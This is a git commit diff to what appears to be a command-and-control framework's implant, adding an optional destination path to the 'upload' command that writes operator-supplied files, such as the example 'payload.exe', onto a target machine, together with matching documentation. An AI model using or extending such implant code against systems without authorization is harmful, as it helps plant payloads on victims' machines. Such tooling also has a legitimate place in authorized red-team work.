Updated 'upload' command.

This commit is contained in:
Jakob Friedl
2025-11-03 17:56:32 +01:00
parent 032adfa051
commit 315b7fe50a
2 changed files with 11 additions and 8 deletions

View File

@@ -304,13 +304,14 @@ Arguments:
### upload
Upload a file from the operator Desktop to the targe system.
```
Usage : upload <file>
Usage : upload <file> [destination]
Example : upload /path/to/payload.exe
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* file BINARY YES Path to file to upload to the target machine.
* destination STRING NO Path to upload the file to. By default, uploads to current directory.
```
## SCREENSHOT

View File

@@ -27,6 +27,7 @@ let module* = Module(
example: protect("upload /path/to/payload.exe"),
arguments: @[
Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true),
Argument(name: protect("destination"), description: protect("Path to upload the file to. By default, uploads to current directory."), argumentType: STRING, isRequired: false),
],
execute: executeUpload
)
@@ -40,7 +41,7 @@ when not defined(agent):
when defined(agent):
import os, std/paths, strformat
import os, strformat
import ../agent/utils/io
import ../agent/protocol/result
import ../common/serialize
@@ -72,17 +73,18 @@ when defined(agent):
try:
var arg: string = Bytes.toString(task.args[0].data)
print arg
# Parse binary argument
var unpacker = Unpacker.init(arg)
let
fileName = unpacker.getDataWithLengthPrefix()
var
destination = unpacker.getDataWithLengthPrefix()
fileContents = unpacker.getDataWithLengthPrefix()
# If a destination has been passed as an argument, upload it there instead
if task.argCount == 2:
destination = Bytes.toString(task.args[1].data)
# Write the file to the current working directory
let destination = fmt"{paths.getCurrentDir()}\{fileName}"
writeFile(fmt"{destination}", fileContents)
writeFile(destination, fileContents)
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}."))